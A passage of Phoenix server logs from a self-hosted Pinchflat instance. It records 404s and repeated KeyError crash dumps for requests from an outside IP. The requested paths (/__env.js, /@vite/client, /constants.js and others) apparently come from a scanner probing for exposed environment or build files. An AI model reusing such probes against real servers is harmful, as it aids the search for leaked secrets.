"https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nN8sWoP4QsAAPgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"de (truncated) 21:08:41.912 [info] GET /constants.js 21:08:41.913 [debug] QUERY OK source="settings" db=0.0ms idle=73.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.913 [debug] QUERY OK source="settings" db=0.0ms idle=25.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.913 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.913 [error] #PID<0.3308.0> running PinchflatWeb.Endpoint (connection #PID<0.3307.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /constants.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3307.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49808}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3308.0>, params: %{}, path_info: ["constants"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/constants.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nOrPB7mz-0AAG6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3307.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49808}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /constants (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3307.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/constants.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49808}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3308.0>, params: %{}, path_info: ["constants"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/constants.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nOrPB7mz-0AAG6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, : (truncated) 21:08:41.934 [info] GET /index.js 21:08:41.934 [debug] QUERY OK source="settings" db=0.1ms idle=46.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.934 [debug] QUERY OK source="settings" db=0.0ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.934 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.934 [error] #PID<0.3310.0> running PinchflatWeb.Endpoint (connection #PID<0.3309.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3309.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49814}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3310.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nTw-fYhYlEAAPiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3309.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49814}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3309.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49814}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3310.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nTw-fYhYlEAAPiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix (truncated) 21:08:41.956 [info] GET /@vite/client 21:08:41.956 [debug] QUERY OK source="settings" db=0.0ms idle=45.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.956 [debug] QUERY OK source="settings" db=0.0ms idle=43.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.956 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.956 [error] #PID<0.3312.0> running PinchflatWeb.Endpoint (connection #PID<0.3311.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /@vite/client ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3311.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49820}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3312.0>, params: %{}, path_info: ["@vite", "client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/@vite/client", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nZAVohMzigAAPkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3311.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49820}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/client (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3311.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/client", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49820}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3312.0>, params: %{}, path_info: ["@vite", "client"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/@vite/client", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nZAVohMzigAAPkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {Pinc (truncated) 21:08:41.990 [info] GET /__env.js 21:08:41.991 [debug] QUERY OK source="settings" db=0.0ms idle=77.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.991 [debug] QUERY OK source="settings" db=0.0ms idle=56.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.991 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.991 [error] #PID<0.3314.0> running PinchflatWeb.Endpoint (connection #PID<0.3313.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /__env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3313.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49826}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3314.0>, params: %{}, path_info: ["__env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/__env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nhP3bSAznUAAPmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3313.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49826}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3313.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49826}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3314.0>, params: %{}, path_info: ["__env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, 